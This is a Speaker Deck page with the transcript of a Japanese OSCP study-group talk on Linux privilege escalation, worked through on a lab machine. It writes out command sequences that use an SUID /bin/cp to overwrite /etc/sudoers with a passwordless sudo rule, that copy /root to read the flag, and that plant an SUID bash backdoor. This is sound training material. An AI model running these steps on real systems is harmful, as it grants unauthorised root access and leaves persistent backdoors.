Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Linuxでの権限昇格 / Privilege Escalation in Linux
Search
tkito
March 24, 2023
Technology
0
540
Linuxでの権限昇格 / Privilege Escalation in Linux
2023/03/24に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/276425/
tkito
March 24, 2023
Tweet
Share
More Decks by tkito
See All by tkito
Boot2Rootをやろう / Let's play Boot2Root
tkito
0
650
Re: SQLiから始めるRCE生活 / RCE via SQLi
tkito
0
230
権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS
tkito
1
2k
SOC-IRとOSCP / SOC-IR and OSCP
tkito
0
90
Other Decks in Technology
See All in Technology
LLMOps : ΔMLOps
shuntaito
9
1.3k
Bluesky 2019〜2022
yamarten
1
120
Covariance, Contravariance & Diamond
alexdaubois
1
110
CData Virtuality 日本ローンチイベントのKeynote
cdataj
0
450
Microsoft 365 でデータセキュリティを強化しよう
sophiakunii
2
460
Road to Single Activity Uncovered
yurihondo
0
110
Japan AWS Jr. Championsがお届けする、アウトプットのすすめ
hamijay_cloud
0
200
入社半年(合計1年)でGoogle Cloud 認定を全冠した秘訣🤫
risatube
1
270
パートナー企業のテクニカルサポートエンジニアとして気になる、より良い AWS サポートの利活用について
kazzpapa3
0
180
CData Virtuality を活かせるキーシナリオと製品デモ
cdataj
0
450
太田博三(@usagisan2020)
otanet
0
140
最新のWasm事情
askua
5
2.5k
Featured
See All Featured
Ruby is Unlike a Banana
tanoku
96
11k
What's in a price? How to price your products and services
michaelherold
243
11k
No one is an island. Learnings from fostering a developers community.
thoeni
19
2.9k
How STYLIGHT went responsive
nonsquared
95
5.1k
Rails Girls Zürich Keynote
gr2m
93
13k
Designing the Hi-DPI Web
ddemaree
280
34k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
46
4.9k
Building a Scalable Design System with Sketch
lauravandoore
459
33k
The Illustrated Children's Guide to Kubernetes
chrisshort
48
48k
The World Runs on Bad Software
bkeepers
PRO
65
11k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
25
1.8k
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
126
18k
Transcript
Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう
自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格
おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください
権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4
offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!
offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?
権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい
Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了
offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9
Linuxでの権限昇格 10
offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11
おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12
まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13
おしまい きとう @tkito 14